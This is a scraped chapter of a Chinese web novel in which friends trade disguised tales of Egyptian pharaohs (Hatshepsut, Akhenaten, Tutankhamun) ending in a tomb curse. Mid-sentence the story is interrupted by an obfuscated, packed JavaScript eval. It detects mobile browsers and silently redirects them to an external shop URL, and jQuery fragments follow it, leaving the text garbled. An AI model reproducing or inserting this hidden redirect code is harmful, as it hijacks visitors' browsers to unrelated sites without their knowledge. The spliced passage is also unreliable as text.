文趣网 > 其他小说 > 重回阴阳眼妻子年少时 > 24. 金字塔谜(四)
    为了增强威慑力,她着男装,在给后世留下的线索里,一直以男相示人。

    导致她在一段时间内都被研究历史的专家们误认为某位男子。

    女皇在位期间,极其善用帝王之术。她没有发动战争,却能带领自己的国家发展到鼎盛时期。

    她大举发展外交和对外贸易,她派出的商队为她的国家带回了新鲜的日用品、精美的工艺品、以及大有用处的香料,自然也带回了文明与财富。

    在她的统治下,她的国家一路走向强盛。

    若只说到这里,那她可谓一生顺遂。

    但人生总有不完美。

    她的女儿走了她的老路,嫁给同父异母的兄弟,也就是那位本该继承皇位的妾生子。

    女儿的早夭,导致女皇去世后,皇位又回到了“他”的手中。

    在女皇故去二十年后,好像在他头顶的那篇阴霾终于散尽了,他终于敢大展拳脚、施展他的抱负。

    他重开战争,开疆拓土,还举行了旷日持久的除名运动。

    所有涉及那位女皇的历史都要被改写,那位女皇的宏伟事迹被冠以他人姓名。

    甚至坟墓都没有放过,女皇的尸骨被刨出,随意丢弃。

    “对于一个帝王来说,年幼时被垂帘听政固然会成为阴影。但他大举除名,并不只是为了一时的泄愤,他要的是不再有女人能够坐上皇位。”谢此苏留下最后一句话,结束了这个故事。

    太多留白,让这个故事变得神秘,引人探究。

    “女皇是怎么对待那位幼帝的?她辈分上的儿子,也是她的女婿。”胡云之很好奇。

    是什么样的相处模式,能让那位幼帝在她死后二十年才开展除名运动。而这个除名运动,又被后世的皇帝自发延长百年。

    谢此苏摊了摊手:“不知道呢。这个故事只有这么多。”

    顾清轻笑:“我觉得挺吓人的。”她喝了一口胡云之手里的气泡水,已经不凉了。她咽下那些不好言说的感想。

    谢此苏取回自己的太阳吊坠:“那感谢支持咯。”

    涂萌见谢此苏的故事反响不错,也如法炮制:“我也有个类似的故事,就当是她故事的后续吧。”

    有一个皇子,他出生时就享有无上荣光。

    他的父亲有宏伟的功绩,他的母亲有独特的智慧,为他谋了一门好亲事。

    皇后家世显赫,他和皇后青梅竹马、两小无猜。

    他当皇子的时候,针对女皇的除名运动已经进行得差不多了,可以留存的史料上基本都抹去了女皇的名字,而此时女性已经被成功地排除在了权利之外,甚至王与后共治的局面都不曾复现。

    皇后只能活在深宫。

    事情在他在位期间发生了转变。

    他当政期间,凡是留下画像,定要与皇后一起。

    他的皇后在历史上再度闻名,除了她那夺目的美貌,更是因为女性重回到了政治舞台。

    以及他的母后。那位出身平凡,却靠自己的政治头脑韬光养晦,帮助女性重新拿回参政权利。

    这事为什么说是女皇的故事的后续呢?因为就是当时女皇掌权的时候借助了神权集团的力量,导致他们在后续发展中愈发强大,财富、土地、权力,掌握的资源越来越多,足以与皇权抗衡。

    但天下一家,卧榻之侧,岂容他人鼾睡?

    这位年幼的新皇想了一计,既然神权集团奉行太阳神,那他就信奉换个相似的神来信。于是他效仿先人,大举摧毁了太阳神的神庙和壁画。再全力推崇自己信奉的神。

    虽然仍然是君权神授的叙事逻辑,但信什么神,他要来掌握。

    为此,他不惜迁都,抛弃先人信仰的历史遗迹。

    没想到,群民丝毫不买账。私下偷偷信奉旧神。

    而在他死后,他新建的都城快速废弃,他的儿子,也就是下一任新皇被迫搬回了旧都。

    自此,他们这一脉的统治快速转向衰亡。

    这个故事草草地结束了。

    众人陷入一阵诡异的沉默。

    同样是留白,这个故事的留白叫人觉得有些“活该”。

    “你不觉得可怕吗?”涂萌忍不住打破沉默,他先问谢此苏。

    谢此苏靠在椅子上,抱着胳膊不屑地笑了一下:“这不是糊涂吗?哪里可怕了?”

    顾清听明白了。这俩人是借着讲故事的名义,在炫耀自己对古埃及历史的了解。

    一个讲的是哈特谢普苏特,埃及最后一位女法老;另一个讲的是阿赫那吞,推崇阿吞神却失败了的那个男法老。

    有意思。

    “那我也讲一个,希望不会让你们失望。”顾清淡淡一笑。

    “那我也接着刚才的故事说咯?”

    那个妄想靠自己的力量扭转局面的皇帝,我们就叫他“侍蒙”吧。他的名字是阿蒙的侍奉者的意思,阿蒙就是他们这个国度自古以来的信仰,太阳神。

    在他打算推崇新的信仰之后,很有胆魄地给自己改名叫“侍吞”,意思是阿吞的侍奉者。并不难猜,阿吞就是他推崇的新神的名字。而阿吞神和阿蒙神的区别是,不再是人形神祇,而回归太阳的光芒本身。

    君权神授的叙事仍在延续,依旧是皇帝是太阳在人间的化身的旧说辞。

    他就算派人凿毁壁画、打破雕像,也不能轻易动摇群众的信仰。

    以至于在他死后,后世的皇帝也效仿前人,做出除名的举动,要把“吞”这个具备耻辱意味的名字在历史上抹去。

    “这个故事不是这样的!”涂萌突然站起来。

    “别激动。”谢此苏压着涂萌坐下,她的笑有些无法言说的阴霾,“都只是故事而已,不是吗?”

    顾清不为所动:“别急,这只是个开头,我真正要讲的主人公还没出场。”

    真正的主人公是“侍吞”的侄子“化吞”,名字的意思是阿吞神的化身。

    他并不是皇后所出,因为皇后只生了六个女儿,没有儿子。

    “化吞”延续了近亲通婚的传统,和他的表妹“安吞”成了婚。

    而在“侍吞”改信仰神的计划失

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890195|212703||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    败后,“化吞”和“安吞”也老实地改了名字,分别是“化蒙”和“安蒙”。

    很有意思吧?

    从这里不能看出,皇室的力量已经极其孱弱,这样的信仰甚至没有延续两代,就被信奉阿蒙神的神权集团“拨乱反正”了。

    “侍吞”去世太早,年仅九岁的“化蒙”不得不向神权集团妥协。

    他答应废除阿吞神的信仰,恢复阿蒙神的信仰,包括哪些壁画和雕像,并且迁都回旧都城。

    可即便这样,他还是能没能活过20岁。被刺杀那年,他年仅19岁,在位不到十年。

    有意思的是,后世关于他的壁画记载中,往往是与他的小皇后一同出现。少年帝后,恩爱非常,更胜旧帝。

    悲惨并没有随着他的死亡而终止。

    由于他和皇后唯一的一对双生子夭折,皇室血脉就此断绝。

    而皇后则遭遇了非人的待遇。

    不难看出,从“侍吞”到“化蒙”,他们都恢复了妻子的从政身份,皇后都具备一定的权利。

    年轻的“安蒙”曾求信于他国,以皇后的身份求得联姻一位王子,以换得延续皇室血脉。

    但派来的王子在和亲的路上神秘死亡。

    大家都在推测,始作俑者正是“化蒙”和“安蒙”的外祖父、“侍吞”的老丈人,当朝宰相阿伊。

    他的政治行为伴随了三代帝王。“侍吞”生母身份卑微,却能让“侍吞”称皇,其背后已经有了与阿伊达成政治联盟的影子。阿伊的女儿嫁给“侍吞”后,进一步稳固了阿伊的政治地位。

    直到年幼的“化蒙”去世,阿伊再无后顾之忧,他迎娶了自己的外孙女“安蒙”。

    自此,阿伊的篡权完成,他成为了天下所归的新皇。

    而那位企图对抗自己外祖父、新任丈夫、新任君主的皇后“安蒙”,在阿伊登基不久之后就“神秘消失”了,自此尸骨无存。

    对于早早离世的皇帝“化蒙”来说,在他极短的生涯里,他享受过奢靡,也遭遇过暗杀,他拥有挚爱,挚爱却颠沛流离、为人所辱。

    这样的他,怎么能够安息?

    他的怨念数千年不消,化作恶毒的诅咒盘踞在墓穴内。

    在他的墓室的石碑上,留下了一行字:“打扰他安眠的人,都将永留此地。”

    “所以,后面他的墓被开了,还莫名其妙地死了一些人对吗?”谢此苏撑着头,她当然知道这个故事的原型是谁了。

    听完这个故事的涂萌脸色十分难看。

    “所以他还徘徊在这世间吗?”谢此苏问,她露出一副怀念又怅惘的表情,目光投向窗外。

    “你猜?”顾清笑着拿回自己放在桌子上的那瓶气泡水,喝了一口。

    涂萌冷笑了一声:“他怎么甘心离开呢?也许你们还会见到他呢。”

    “你说得真吓人,我差点被吓到了。”顾清毫不留情地阴阳回去。

    胡云之拉着顾清走到门口,笑眯眯地摆手:“时间不早了,我们回去啦。明天还要早起,你们也早点休息。”